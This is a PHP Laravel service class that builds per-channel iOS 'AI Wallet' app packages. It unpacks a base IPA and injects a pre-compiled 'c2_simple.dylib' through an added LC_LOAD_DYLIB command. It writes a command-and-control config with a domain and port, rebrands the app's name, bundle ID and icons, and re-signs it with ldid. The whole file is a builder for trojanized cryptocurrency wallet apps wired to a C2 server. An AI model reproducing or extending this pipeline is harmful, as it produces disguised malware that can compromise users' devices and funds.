300 lines
11 KiB
PHP
300 lines
11 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\Channel;
|
|
use Illuminate\Support\Facades\Log;
|
|
use RuntimeException;
|
|
|
|
/**
|
|
* Build a customized AI Wallet IPA for App-builder channels.
|
|
*
|
|
* Uses pre-compiled c2_simple.dylib + runtime c2_config.plist.
|
|
* Binary and plist editing use Python scripts (PHP regex corrupts XML/Mach-O).
|
|
* Signing uses ldid via proc_open.
|
|
*/
|
|
class AiWalletPackageService
|
|
{
|
|
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
|
|
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
|
|
|
|
private const ICON_SIZES = [
|
|
'AppIcon60x60@2x.png' => 120,
|
|
'AppIcon60x60@3x.png' => 180,
|
|
'AppIcon76x76@2x~ipad.png' => 152,
|
|
];
|
|
|
|
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
|
|
{
|
|
$baseIpa = storage_path('app/'.self::BASE_IPA);
|
|
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
|
|
|
|
if (!file_exists($baseIpa)) {
|
|
return $this->fail('Base IPA not found: '.$baseIpa);
|
|
}
|
|
if (!file_exists($c2Dylib)) {
|
|
return $this->fail('c2_simple.dylib not found: '.$c2Dylib);
|
|
}
|
|
|
|
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
|
if (is_dir($workDir)) $this->rrmdir($workDir);
|
|
@mkdir($workDir, 0755, true);
|
|
|
|
try {
|
|
Log::info('AiWallet: build started', ['channel' => $channel->channel_id]);
|
|
|
|
// 1. Extract base IPA
|
|
$zip = new \ZipArchive;
|
|
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
|
|
$zip->extractTo($workDir);
|
|
$zip->close();
|
|
|
|
$appDir = $this->findAppDir($workDir);
|
|
if (!$appDir) throw new RuntimeException('No .app directory found');
|
|
|
|
// 2. Copy pre-compiled c2_simple.dylib
|
|
$fwDir = $appDir.'/Frameworks';
|
|
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
|
|
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
|
|
Log::info('AiWallet: c2_simple.dylib copied');
|
|
|
|
// 3. Write c2_config.plist
|
|
$this->writeConfigPlist($appDir, $channel, $apiDomain);
|
|
Log::info('AiWallet: c2_config.plist written');
|
|
|
|
// 4. Add LC_LOAD_DYLIB (Python script)
|
|
$mainBin = $this->findMainBinary($appDir);
|
|
$this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']);
|
|
Log::info('AiWallet: LC_LOAD_DYLIB added');
|
|
|
|
// 5. Patch Info.plist (Python script)
|
|
$this->runPython(base_path('bin/patch_plist.py'), [
|
|
$appDir.'/Info.plist',
|
|
$channel->app_name,
|
|
$channel->bundle_id ?: 'com.ai.wallet.next',
|
|
'1.6.1',
|
|
]);
|
|
Log::info('AiWallet: Info.plist patched');
|
|
|
|
// 6. Replace splash + remove LaunchScreen
|
|
$this->replaceSplashAndLaunchScreen($appDir);
|
|
Log::info('AiWallet: splash/LaunchScreen replaced');
|
|
|
|
// 7. Generate icons
|
|
if ($logoPath && file_exists($logoPath)) {
|
|
$this->generateIcons($appDir, $logoPath);
|
|
Log::info('AiWallet: icons generated');
|
|
}
|
|
|
|
// 8. Sign with ldid
|
|
$this->sign($appDir);
|
|
Log::info('AiWallet: signed');
|
|
|
|
// 9. Package IPA
|
|
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
|
$outputFull = public_path($outputPath);
|
|
@mkdir(dirname($outputFull), 0755, true);
|
|
|
|
$outZip = new \ZipArchive;
|
|
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
|
|
throw new RuntimeException('Cannot create output IPA');
|
|
}
|
|
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
|
|
$outZip->close();
|
|
|
|
$size = filesize($outputFull);
|
|
$this->rrmdir($workDir);
|
|
|
|
Log::info('AiWallet: build complete', ['size' => $size]);
|
|
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
|
|
|
|
} catch (\Throwable $e) {
|
|
$this->rrmdir($workDir);
|
|
Log::error('AiWallet: build failed', [
|
|
'channel' => $channel->channel_id,
|
|
'error' => $e->getMessage(),
|
|
]);
|
|
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
|
}
|
|
}
|
|
|
|
private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void
|
|
{
|
|
$config = [
|
|
'C2Domain' => $apiDomain,
|
|
'C2Port' => '443',
|
|
'WebViewURL' => $channel->h5_url ?: 'https://tether.to',
|
|
'AppId' => $channel->channel_id,
|
|
'ChannelId' => $channel->channel_id,
|
|
'AppName' => $channel->app_name,
|
|
];
|
|
|
|
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
|
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
|
|
.'<plist version="1.0"><dict>'."\n";
|
|
foreach ($config as $key => $value) {
|
|
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
|
|
}
|
|
$xml .= '</dict></plist>';
|
|
file_put_contents($appDir.'/c2_config.plist', $xml);
|
|
}
|
|
|
|
private function runPython(string $script, array $args): void
|
|
{
|
|
if (!file_exists($script)) {
|
|
throw new RuntimeException('Script not found: '.$script);
|
|
}
|
|
$cmd = 'python3 '.escapeshellarg($script);
|
|
foreach ($args as $arg) {
|
|
$cmd .= ' '.escapeshellarg($arg);
|
|
}
|
|
$cmd .= ' 2>&1';
|
|
|
|
$output = [];
|
|
$exitCode = 0;
|
|
exec($cmd, $output, $exitCode);
|
|
|
|
if ($exitCode !== 0) {
|
|
throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output));
|
|
}
|
|
Log::info('AiWallet: '.basename($script).' output', ['output' => $output]);
|
|
}
|
|
|
|
private function replaceSplashAndLaunchScreen(string $appDir): void
|
|
{
|
|
// Replace Flutter splash with white
|
|
$splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png';
|
|
if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) {
|
|
$img = imagecreatetruecolor(10, 10);
|
|
$white = imagecolorallocate($img, 255, 255, 255);
|
|
imagefill($img, 0, 0, $white);
|
|
imagepng($img, $splashPath);
|
|
imagedestroy($img);
|
|
}
|
|
|
|
// Remove LaunchScreen storyboard
|
|
$lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc';
|
|
if (is_dir($lsDir)) $this->rrmdir($lsDir);
|
|
}
|
|
|
|
private function generateIcons(string $appDir, string $logoPath): void
|
|
{
|
|
if (!function_exists('imagecreatefrompng')) {
|
|
Log::warning('AiWallet: GD not available, skipping icons');
|
|
return;
|
|
}
|
|
|
|
$src = imagecreatefrompng($logoPath);
|
|
if (!$src) return;
|
|
|
|
// Remove Assets.car so iOS uses loose PNGs
|
|
$assetsCar = $appDir.'/Assets.car';
|
|
if (file_exists($assetsCar)) unlink($assetsCar);
|
|
|
|
foreach (self::ICON_SIZES as $filename => $size) {
|
|
$dst = imagecreatetruecolor($size, $size);
|
|
imagealphablending($dst, false);
|
|
imagesavealpha($dst, true);
|
|
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src));
|
|
imagepng($dst, $appDir.'/'.$filename);
|
|
imagedestroy($dst);
|
|
}
|
|
imagedestroy($src);
|
|
}
|
|
|
|
private function sign(string $appDir): void
|
|
{
|
|
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
|
if ($ldidPath === '' || !file_exists($ldidPath)) {
|
|
Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]);
|
|
return;
|
|
}
|
|
|
|
$csDir = $appDir.'/_CodeSignature';
|
|
if (is_dir($csDir)) $this->rrmdir($csDir);
|
|
|
|
$binaries = array_merge(
|
|
[$this->findMainBinary($appDir)],
|
|
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
|
glob($appDir.'/*.dylib') ?: [],
|
|
);
|
|
|
|
foreach ($binaries as $bin) {
|
|
if (!is_file($bin)) continue;
|
|
|
|
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
|
|
$proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes);
|
|
|
|
if (is_resource($proc)) {
|
|
fclose($pipes[0]);
|
|
$stdout = stream_get_contents($pipes[1]);
|
|
$stderr = stream_get_contents($pipes[2]);
|
|
fclose($pipes[1]);
|
|
fclose($pipes[2]);
|
|
$exitCode = proc_close($proc);
|
|
|
|
if ($exitCode !== 0) {
|
|
Log::warning('AiWallet: ldid failed for '.basename($bin), [
|
|
'exit' => $exitCode, 'stderr' => $stderr,
|
|
]);
|
|
} else {
|
|
Log::info('AiWallet: ldid signed '.basename($bin));
|
|
}
|
|
}
|
|
}
|
|
|
|
@mkdir($csDir, 0755, true);
|
|
file_put_contents($csDir.'/CodeResources',
|
|
'<?xml version="1.0" encoding="UTF-8"?>'."\n".
|
|
'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
|
|
}
|
|
|
|
private function findAppDir(string $workDir): ?string
|
|
{
|
|
$payload = $workDir.'/Payload';
|
|
if (!is_dir($payload)) return null;
|
|
foreach (scandir($payload) as $item) {
|
|
if (str_ends_with($item, '.app')) return $payload.'/'.$item;
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private function findMainBinary(string $appDir): string
|
|
{
|
|
$appName = basename($appDir, '.app');
|
|
return $appDir.'/'.$appName;
|
|
}
|
|
|
|
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
|
{
|
|
foreach (scandir($dir) as $item) {
|
|
if ($item === '.' || $item === '..') continue;
|
|
$path = $dir.'/'.$item;
|
|
$zipPath = $prefix.'/'.$item;
|
|
if (is_dir($path)) {
|
|
$zip->addEmptyDir($zipPath);
|
|
$this->addDirToZip($zip, $path, $zipPath);
|
|
} else {
|
|
$zip->addFile($path, $zipPath);
|
|
}
|
|
}
|
|
}
|
|
|
|
private function rrmdir(string $dir): void
|
|
{
|
|
if (!is_dir($dir)) return;
|
|
foreach (scandir($dir) as $item) {
|
|
if ($item === '.' || $item === '..') continue;
|
|
$path = $dir.'/'.$item;
|
|
if (is_dir($path)) $this->rrmdir($path);
|
|
else @unlink($path);
|
|
}
|
|
@rmdir($dir);
|
|
}
|
|
|
|
private function fail(string $error): array
|
|
{
|
|
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
|
|
}
|
|
}
|